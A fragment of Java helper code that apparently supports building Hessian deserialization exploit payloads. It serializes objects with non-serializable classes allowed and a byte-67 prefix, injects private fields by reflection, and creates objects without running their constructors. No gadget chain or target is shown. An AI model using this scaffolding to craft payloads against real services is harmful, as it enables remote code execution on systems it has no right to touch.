public static String ser(Object object) throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.getSerializerFactory().setAllowNonSerializable(true); byteArrayOutputStream.write(67); hessian2Output.writeObject(object); hessian2Output.flushBuffer(); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); }
public static void setField(Object object,String fieldName,Object value) throws Exception{ Class<?> c = object.getClass(); Field field = c.getDeclaredField(fieldName); field.setAccessible(true); field.set(object,value); }
public static <T> T createObjWithoutConstructor(Class<T> clazz) throws Exception{ ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory(); Constructor<Object> constructor = Object.class.getDeclaredConstructor(); Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor); constructor1.setAccessible(true); return (T) constructor1.newInstance(); } }
|